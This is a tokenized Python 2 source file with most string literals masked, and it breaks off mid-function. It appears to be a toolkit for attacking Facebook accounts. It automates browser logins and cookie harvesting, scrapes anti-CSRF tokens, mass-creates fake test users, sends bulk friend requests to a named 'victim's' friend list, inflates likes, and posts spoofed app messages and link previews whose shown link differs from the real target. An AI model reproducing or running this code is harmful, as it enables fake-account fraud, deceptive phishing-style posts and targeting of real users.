<s> import sys , os <EOL> from platform import system <EOL> from getpass import getpass <EOL> from mainLib import * <EOL> import MyParser <EOL> from urllib import urlencode <EOL> import simplejson as json <EOL> import database <EOL> from time import time , ctime , sleep <EOL> import pickle <EOL> import re <EOL> from handlers import * <EOL> import signal <EOL> import networkx as nx <EOL> import matplotlib . pyplot as plt <EOL> import numpy as np <EOL> import community <EOL> from networkx . drawing . nx_agraph import write_dot <EOL> from base64 import b64encode <EOL> import logging <EOL> from mechanize import Request <EOL> from selenium import webdriver <EOL> from selenium . webdriver . common . keys import Keys <EOL> import datetime <EOL> from random import shuffle <EOL> blocked = <NUM_LIT:0> <EOL> masterCj = '<STR_LIT>' <EOL> def flush ( ) : <EOL> if system ( ) == '<STR_LIT>' : <EOL> sys . stdout . flush ( ) <EOL> def setGlobalLogginng ( ) : <EOL> global globalLogging <EOL> globalLogging = not globalLogging <EOL> message = '<STR_LIT>' % globalLogging <EOL> logs ( message ) <EOL> raw_input ( message + '<STR_LIT>' ) <EOL> def setMail ( ) : <EOL> email = raw_input ( "<STR_LIT>" ) <EOL> password = getpass ( "<STR_LIT>" ) <EOL> return email , password <EOL> def login ( email , password , state ) : <EOL> global blocked <EOL> cookieHandler = customCookies ( ) <EOL> cj . clear ( ) <EOL> profile = webdriver . FirefoxProfile ( ) <EOL> profile . set_preference ( "<STR_LIT>" , "<STR_LIT>" ) <EOL> driver = webdriver . Firefox ( profile ) <EOL> driver . get ( "<STR_LIT>" ) <EOL> assert "<STR_LIT>" in driver . title <EOL> elem = driver . find_element_by_name ( "<STR_LIT:email>" ) <EOL> elem . send_keys ( email ) <EOL> elem = driver . find_element_by_name ( "<STR_LIT>" ) <EOL> elem . send_keys ( password ) <EOL> elem . send_keys ( Keys . RETURN ) <EOL> all_cookies = driver . get_cookies ( ) <EOL> pickle . dump ( driver . get_cookies ( ) , open ( "<STR_LIT>" , "<STR_LIT:wb>" ) ) <EOL> assert "<STR_LIT>" not in driver . page_source <EOL> driver . close ( ) <EOL> for s_cookie in all_cookies : <EOL> cj . set_cookie ( cookielib . Cookie ( version = <NUM_LIT:0> , name = s_cookie [ '<STR_LIT:name>' ] , value = s_cookie [ '<STR_LIT:value>' ] , port = '<STR_LIT>' , port_specified = False , domain = s_cookie [ '<STR_LIT>' ] , domain_specified = True , domain_initial_dot = False , path = s_cookie [ '<STR_LIT:path>' ] , path_specified = True , secure = s_cookie [ '<STR_LIT>' ] , expires = s_cookie [ '<STR_LIT>' ] , discard = False , comment = None , comment_url = None , rest = None , rfc2109 = False ) ) <EOL> try : <EOL> if cookieHandler . isLogged ( cj ) == True : <EOL> if cookieHandler . checkPoint ( cj ) == True : <EOL> blocked = <NUM_LIT:1> <EOL> print '<STR_LIT>' <EOL> return - <NUM_LIT:1> <EOL> if state != '<STR_LIT>' : <EOL> cookieArray . append ( cj . _cookies ) <EOL> else : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' <EOL> return - <NUM_LIT:1> <EOL> except signalCaught as e : <EOL> deleteUser ( <NUM_LIT:10> ) <EOL> message = '<STR_LIT>' % e . args [ <NUM_LIT:0> ] <EOL> logs ( str ( message ) ) <EOL> print '<STR_LIT>' % message <EOL> raw_input ( '<STR_LIT>' ) <EOL> return <EOL> def set_dtsg ( ) : <EOL> n = <NUM_LIT:0> <EOL> flag = False <EOL> try : <EOL> response = br . open ( '<STR_LIT>' ) <EOL> '''<STR_LIT>''' <EOL> if globalLogging : <EOL> logs ( response . read ( ) ) <EOL> except mechanize . HTTPError as e : <EOL> logs ( e . code ) <EOL> print e . code <EOL> except mechanize . URLError as e : <EOL> logs ( e . reason . args ) <EOL> print e . reason . args <EOL> except : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' <EOL> return workarounddtsg ( ) <EOL> def workarounddtsg ( ) : <EOL> try : <EOL> response = br . open ( '<STR_LIT>' ) <EOL> parse = response . read ( ) <EOL> match = re . search ( "<STR_LIT>" , parse ) <EOL> matchBis = re . search ( "<STR_LIT>" , parse [ match . end ( ) : ] ) <EOL> matchBisBis = re . search ( "<STR_LIT>" , parse [ match . end ( ) + matchBis . end ( ) : ] ) <EOL> fb_dtsg = parse [ match . end ( ) + matchBis . end ( ) : match . end ( ) + matchBis . end ( ) + matchBisBis . start ( ) ] <EOL> return fb_dtsg <EOL> except : <EOL> print '<STR_LIT:error>' <EOL> return <NUM_LIT:0> <EOL> def getC_user ( ) : <EOL> for cookie in cj : <EOL> if ( cookie . name == '<STR_LIT>' ) : <EOL> c_user = cookie . value <EOL> return str ( c_user ) <EOL> def createUser ( number ) : <EOL> fb_dtsg = set_dtsg ( ) <EOL> if ( fb_dtsg == <NUM_LIT:0> ) : <EOL> print '<STR_LIT>' <EOL> c_user = getC_user ( ) <EOL> arguments = { <EOL> '<STR_LIT>' : c_user , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:4>' , <EOL> '<STR_LIT>' : fb_dtsg , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> } <EOL> datos = urlencode ( arguments ) <EOL> userRaw = [ ] <EOL> percentage = <NUM_LIT:0.0> <EOL> print '<STR_LIT>' <EOL> for i in range ( int ( number ) ) : <EOL> try : <EOL> response = br . open ( '<STR_LIT>' , datos ) <EOL> userRaw . append ( str ( response . read ( ) ) ) <EOL> percentage = ( i * <NUM_LIT> ) / int ( number ) <EOL> flush ( ) <EOL> print '<STR_LIT>' % percentage , <EOL> sleep ( <NUM_LIT> ) <EOL> except mechanize . HTTPError as e : <EOL> logs ( str ( e . code ) + '<STR_LIT>' + str ( i ) ) <EOL> print str ( e . code ) + '<STR_LIT>' % i <EOL> except mechanize . URLError as e : <EOL> logs ( str ( e . reason . args ) + '<STR_LIT>' + str ( i ) ) <EOL> print str ( e . reason . args ) + '<STR_LIT>' % i <EOL> except signalCaught as e : <EOL> raise signalCaught ( str ( e . args [ <NUM_LIT:0> ] ) + '<STR_LIT>' ) <EOL> except : <EOL> logs ( '<STR_LIT>' + str ( i ) ) <EOL> print '<STR_LIT>' , <EOL> print '<STR_LIT>' % i , <EOL> fullFlag = MyParser . parseData ( userRaw ) <EOL> return fullFlag <EOL> '''<STR_LIT>''' <EOL> def deleteUser ( appId ) : <EOL> '''<STR_LIT>''' <EOL> fb_dtsg = set_dtsg ( ) <EOL> if ( fb_dtsg == <NUM_LIT:0> ) : <EOL> print '<STR_LIT>' <EOL> arguments = { <EOL> '<STR_LIT>' : str ( getC_user ( ) ) , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:4>' , <EOL> '<STR_LIT>' : fb_dtsg , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' <EOL> } <EOL> testUserID = database . getUsers ( ) <EOL> for n in len ( testUserID [ <NUM_LIT:0> ] ) : <EOL> arguments [ '<STR_LIT>' + str ( n ) + '<STR_LIT:]>' ] = str ( testUserID [ <NUM_LIT:0> ] [ n ] ) <EOL> datos = urlencode ( arguments ) <EOL> try : <EOL> response = br . open ( '<STR_LIT>' + appId , datos ) <EOL> if globalLogging : <EOL> logs ( response . read ( ) ) <EOL> except : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' <EOL> def massLogin ( ) : <EOL> i = int ( <NUM_LIT:0> ) <EOL> people = database . getUsersNotLogged ( ) <EOL> print '<STR_LIT>' , <EOL> loadPersistentCookie ( ) <EOL> for person in people : <EOL> rsp = login ( str ( person [ <NUM_LIT:0> ] ) , str ( person [ <NUM_LIT:3> ] ) , '<STR_LIT:test>' ) <EOL> i += <NUM_LIT:1> <EOL> percentage = ( i * <NUM_LIT> ) / len ( people ) <EOL> flush ( ) <EOL> print '<STR_LIT>' % percentage , <EOL> if rsp == - <NUM_LIT:1> : <EOL> database . removeTestUsers ( person [ <NUM_LIT:0> ] ) <EOL> savePersistentCookie ( ) <EOL> def friendshipRequest ( ) : <EOL> if ( len ( cookieArray ) == <NUM_LIT:1> ) : <EOL> massLogin ( ) <EOL> userID = database . getUsers ( ) <EOL> for cookies in range ( len ( cookieArray ) ) : <EOL> cj . _cookies = cookieArray [ cookies ] <EOL> c_user = getC_user ( ) <EOL> users = <NUM_LIT:0> <EOL> for person in userID : <EOL> '''<STR_LIT>''' <EOL> if users > cookies : <EOL> sendRequest ( person [ <NUM_LIT:0> ] , c_user ) <EOL> users += <NUM_LIT:1> <EOL> def sendRequest ( userID , c_user ) : <EOL> '''<STR_LIT>''' <EOL> fb_dtsg = set_dtsg ( ) <EOL> if ( fb_dtsg == <NUM_LIT:0> ) : <EOL> print '<STR_LIT>' <EOL> arguments = { <EOL> '<STR_LIT>' : userID , <EOL> '<STR_LIT:action>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:none>' , <EOL> '<STR_LIT>' : userID , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:true>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : c_user , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:n>' , <EOL> '<STR_LIT>' : fb_dtsg , <EOL> '<STR_LIT>' : '<STR_LIT>' <EOL> } <EOL> datos = urlencode ( arguments ) <EOL> try : <EOL> response = br . open ( '<STR_LIT>' , datos ) <EOL> if globalLogging : <EOL> logs ( response . read ( ) ) <EOL> print '<STR_LIT>' % ( c_user , userID ) <EOL> except : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' <EOL> def sendRequestToList ( victim ) : <EOL> root = '<STR_LIT>' <EOL> directory = victim <EOL> friends = [ ] <EOL> frieds_send = [ ] <EOL> count = <NUM_LIT:0> <EOL> number = raw_input ( '<STR_LIT>' ) <EOL> try : <EOL> try : <EOL> persons = open ( os . path . join ( root , directory , victim + "<STR_LIT>" ) , "<STR_LIT:rb>" ) <EOL> except : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' <EOL> return <EOL> try : <EOL> persons_send = open ( os . path . join ( root , directory , victim + "<STR_LIT>" ) , "<STR_LIT:rb>" ) <EOL> while True : <EOL> linea = persons_send . readline ( ) <EOL> if not linea : <EOL> break <EOL> frieds_send . append ( linea . strip ( "<STR_LIT>" ) ) <EOL> persons_send . close ( ) <EOL> persons_send = open ( os . path . join ( root , directory , victim + "<STR_LIT>" ) , "<STR_LIT>" ) <EOL> except : <EOL> persons_send = open ( os . path . join ( root , directory , victim + "<STR_LIT>" ) , "<STR_LIT:wb>" ) <EOL> while True : <EOL> linea = persons . readline ( ) <EOL> if not linea : <EOL> break <EOL> friends . append ( linea . strip ( "<STR_LIT>" ) ) <EOL> i = <NUM_LIT:0.0> <EOL> percentage = <NUM_LIT:0.0> <EOL> print '<STR_LIT>' <EOL> for userID in friends : <EOL> if userID not in frieds_send : <EOL> if count > int ( number ) : <EOL> persons_send . close ( ) <EOL> return <EOL> count += <NUM_LIT:1> <EOL> '''<STR_LIT>''' <EOL> fb_dtsg = set_dtsg ( ) <EOL> if ( fb_dtsg == <NUM_LIT:0> ) : <EOL> print '<STR_LIT>' <EOL> c_user = getC_user ( ) <EOL> arguments = { <EOL> '<STR_LIT>' : userID , <EOL> '<STR_LIT:action>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:none>' , <EOL> '<STR_LIT>' : userID , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:true>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : c_user , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:n>' , <EOL> '<STR_LIT>' : fb_dtsg , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> } <EOL> datos = urlencode ( arguments ) <EOL> try : <EOL> response = br . open ( '<STR_LIT>' , datos ) <EOL> percentage = ( i * <NUM_LIT> ) / len ( friends ) <EOL> i += <NUM_LIT:1> <EOL> flush ( ) <EOL> print '<STR_LIT>' % percentage , <EOL> if globalLogging : <EOL> logs ( response . read ( ) ) <EOL> print '<STR_LIT>' % ( c_user , userID ) <EOL> persons_send . write ( userID + '<STR_LIT:\n>' ) <EOL> except : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' <EOL> except signalCaught as e : <EOL> message = '<STR_LIT>' % e . args [ <NUM_LIT:0> ] <EOL> logs ( str ( message ) ) <EOL> print '<STR_LIT>' % message <EOL> persons_send . close ( ) <EOL> raw_input ( '<STR_LIT>' ) <EOL> return <EOL> def acceptRequest ( ) : <EOL> initAccept ( ) <EOL> acceptIDS = MyParser . parsePending ( ) <EOL> while len ( acceptIDS ) != <NUM_LIT:0> : <EOL> for elements in acceptIDS : <EOL> fb_dtsg = set_dtsg ( ) <EOL> if ( fb_dtsg == <NUM_LIT:0> ) : <EOL> print '<STR_LIT>' <EOL> arguments = { <EOL> '<STR_LIT:action>' : '<STR_LIT>' , <EOL> '<STR_LIT:id>' : elements , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : getC_user ( ) , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:m>' , <EOL> '<STR_LIT>' : fb_dtsg , <EOL> '<STR_LIT>' : '<STR_LIT>' <EOL> } <EOL> datos = urlencode ( arguments ) <EOL> response = br . open ( '<STR_LIT>' , datos ) <EOL> if globalLogging : <EOL> logs ( response . read ( ) ) <EOL> print '<STR_LIT>' <EOL> initAccept ( ) <EOL> acceptIDS = MyParser . parsePending ( ) <EOL> def initAccept ( ) : <EOL> f = open ( "<STR_LIT>" , "<STR_LIT:wb>" ) <EOL> response = br . open ( '<STR_LIT>' ) <EOL> '''<STR_LIT>''' <EOL> f . write ( response . read ( ) ) <EOL> f . close ( ) <EOL> def savePersistentCookie ( ) : <EOL> f = open ( "<STR_LIT>" , "<STR_LIT:wb>" ) <EOL> pickle . dump ( cookieArray , f ) <EOL> f . close ( ) <EOL> for element in cookieArray : <EOL> cj . _cookies = element <EOL> for cookie in cj : <EOL> if ( cookie . name == '<STR_LIT>' ) : <EOL> c_user = cookie . value <EOL> database . setLogged ( c_user ) <EOL> def loadPersistentCookie ( ) : <EOL> global cookieArray <EOL> try : <EOL> f = open ( "<STR_LIT>" , "<STR_LIT:r>" ) <EOL> cookieArray = pickle . load ( f ) <EOL> i = <NUM_LIT:0> <EOL> '''<STR_LIT>''' <EOL> for cookie in cookieArray : <EOL> cj . _cookies = cookie <EOL> for element in cj : <EOL> if ( element . name == '<STR_LIT>' ) : <EOL> strip = str ( element . value ) . strip ( "<STR_LIT>" ) <EOL> removeId = strip . split ( "<STR_LIT>" ) [ <NUM_LIT:0> ] <EOL> database . setLoggedOut ( removeId ) <EOL> del cookieArray [ i ] <EOL> i += <NUM_LIT:1> <EOL> except : <EOL> return <EOL> def deleteAccounts ( ) : <EOL> people = database . getUsers ( ) <EOL> for person in people : <EOL> database . removeTestUsers ( person [ <NUM_LIT:0> ] ) <EOL> cookieArray [ : ] = [ ] <EOL> def like ( postId , quantity ) : <EOL> signal . signal ( signal . SIGINT , signal_handler ) <EOL> try : <EOL> email , password = setMail ( ) <EOL> if ( login ( email , password , '<STR_LIT>' ) is not - <NUM_LIT:1> ) : <EOL> masterCookie = cj . _cookies <EOL> times = int ( quantity ) / <NUM_LIT:10> <EOL> for i in range ( times ) : <EOL> cj . _cookies = masterCookie <EOL> if ( createUser ( <NUM_LIT:10> ) == - <NUM_LIT:1> ) : <EOL> deleteUser ( ) <EOL> deleteAccounts ( ) <EOL> createUser ( <NUM_LIT:10> ) <EOL> massLogin ( ) <EOL> percentage = <NUM_LIT:0.0> <EOL> j = <NUM_LIT:0.0> <EOL> total = len ( cookieArray ) * len ( postId ) <EOL> print '<STR_LIT>' , <EOL> for i in range ( len ( cookieArray ) ) : <EOL> for post in range ( len ( postId ) ) : <EOL> cj . _cookies = cookieArray [ i ] <EOL> c_user = getC_user ( ) <EOL> try : <EOL> fb_dtsg = set_dtsg ( ) <EOL> if ( fb_dtsg == <NUM_LIT:0> ) : <EOL> print '<STR_LIT>' <EOL> arguments = { <EOL> '<STR_LIT>' : '<STR_LIT:true>' , <EOL> '<STR_LIT>' : str ( postId [ post ] ) , <EOL> '<STR_LIT:source>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : str ( c_user ) + '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : c_user , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:c>' , <EOL> '<STR_LIT>' : fb_dtsg , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> } <EOL> datos = urlencode ( arguments ) <EOL> response = br . open ( '<STR_LIT>' , datos ) <EOL> if globalLogging : <EOL> logs ( response . read ( ) ) <EOL> percentage = ( j * <NUM_LIT> ) / total <EOL> flush ( ) <EOL> print '<STR_LIT>' % ( percentage ) , <EOL> j += <NUM_LIT:1> <EOL> except mechanize . HTTPError as e : <EOL> print e . code <EOL> except mechanize . URLError as e : <EOL> print e . reason . args <EOL> except : <EOL> print '<STR_LIT>' <EOL> cj . _cookies = masterCookie <EOL> deleteUser ( ) <EOL> deleteAccounts ( ) <EOL> raw_input ( '<STR_LIT>' ) <EOL> except signalCaught as e : <EOL> deleteUser ( ) <EOL> message = '<STR_LIT>' % e . args [ <NUM_LIT:0> ] <EOL> logs ( str ( message ) ) <EOL> print '<STR_LIT>' % message <EOL> raw_input ( '<STR_LIT>' ) <EOL> return <EOL> def appMessageSpoof ( appId , link , picture , title , domain , description , comment ) : <EOL> c_user = getC_user ( ) <EOL> print str ( c_user ) + '<STR_LIT:\n>' <EOL> try : <EOL> fb_dtsg = set_dtsg ( ) <EOL> if ( fb_dtsg == <NUM_LIT:0> ) : <EOL> print '<STR_LIT>' <EOL> arguments = { <EOL> '<STR_LIT>' : fb_dtsg , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : int ( appId ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( link ) , <EOL> '<STR_LIT>' : str ( picture ) , <EOL> '<STR_LIT:name>' : str ( title ) , <EOL> '<STR_LIT>' : str ( domain ) , <EOL> '<STR_LIT:description>' : str ( description ) , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : str ( comment ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> } <EOL> datos = urlencode ( arguments ) <EOL> response = br . open ( '<STR_LIT>' , datos ) <EOL> if globalLogging : <EOL> logs ( response . read ( ) ) <EOL> except : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' <EOL> def linkPreviewYoutube ( link , videoLink , title , summary , comment , videoID , privacy ) : <EOL> c_user = getC_user ( ) <EOL> print str ( c_user ) + '<STR_LIT:\n>' <EOL> try : <EOL> fb_dtsg = set_dtsg ( ) <EOL> if ( fb_dtsg == <NUM_LIT:0> ) : <EOL> print '<STR_LIT>' <EOL> arguments = { <EOL> '<STR_LIT>' : fb_dtsg , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( c_user ) , <EOL> '<STR_LIT>' : '<STR_LIT>' + str ( c_user ) + '<STR_LIT:}>' , <EOL> '<STR_LIT>' : str ( comment ) , <EOL> '<STR_LIT>' : str ( comment ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( videoLink ) , <EOL> '<STR_LIT>' : str ( videoLink ) , <EOL> '<STR_LIT>' : str ( link ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( title ) , <EOL> '<STR_LIT>' : str ( summary ) , <EOL> '<STR_LIT>' : '<STR_LIT>' + videoID + '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( videoLink ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:100>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : privacy , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( c_user ) , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:m>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> } <EOL> datos = urlencode ( arguments ) <EOL> response = br . open ( '<STR_LIT>' , datos ) <EOL> if globalLogging : <EOL> logs ( response . read ( ) ) <EOL> except mechanize . HTTPError as e : <EOL> print e . code <EOL> except mechanize . URLError as e : <EOL> print e . reason . args <EOL> except : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' <EOL> def linkPreview ( link , realLink , title , summary , comment , image , privacy ) : <EOL> c_user = getC_user ( ) <EOL> print str ( c_user ) + '<STR_LIT:\n>' <EOL> try : <EOL> fb_dtsg = set_dtsg ( ) <EOL> if ( fb_dtsg == <NUM_LIT:0> ) : <EOL> print '<STR_LIT>' <EOL> arguments = { <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : fb_dtsg , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( c_user ) , <EOL> '<STR_LIT>' : '<STR_LIT>' + str ( c_user ) + '<STR_LIT:}>' , <EOL> '<STR_LIT>' : str ( comment ) , <EOL> '<STR_LIT>' : str ( comment ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( realLink ) , <EOL> '<STR_LIT>' : str ( realLink ) , <EOL> '<STR_LIT>' : str ( link ) , <EOL> '<STR_LIT>' : str ( realLink ) + '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( title ) , <EOL> '<STR_LIT>' : str ( summary ) , <EOL> '<STR_LIT>' : str ( image ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( realLink ) , <EOL> '<STR_LIT>' : '<STR_LIT:100>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( realLink ) , <EOL> '<STR_LIT>' : str ( realLink ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:3>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:5>' , <EOL> '<STR_LIT>' : '<STR_LIT:3>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:100>' , <EOL> '<STR_LIT>' : '<STR_LIT:100>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : privacy , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( c_user ) , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:h>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' <EOL> } <EOL> datos = urlencode ( arguments ) <EOL> response = br . open ( '<STR_LIT>' , datos ) <EOL> if globalLogging : <EOL> logs ( response . read ( ) ) <EOL> except mechanize . HTTPError as e : <EOL> print e . code <EOL> except mechanize . URLError as e : <EOL> print e . reason . args <EOL> except : 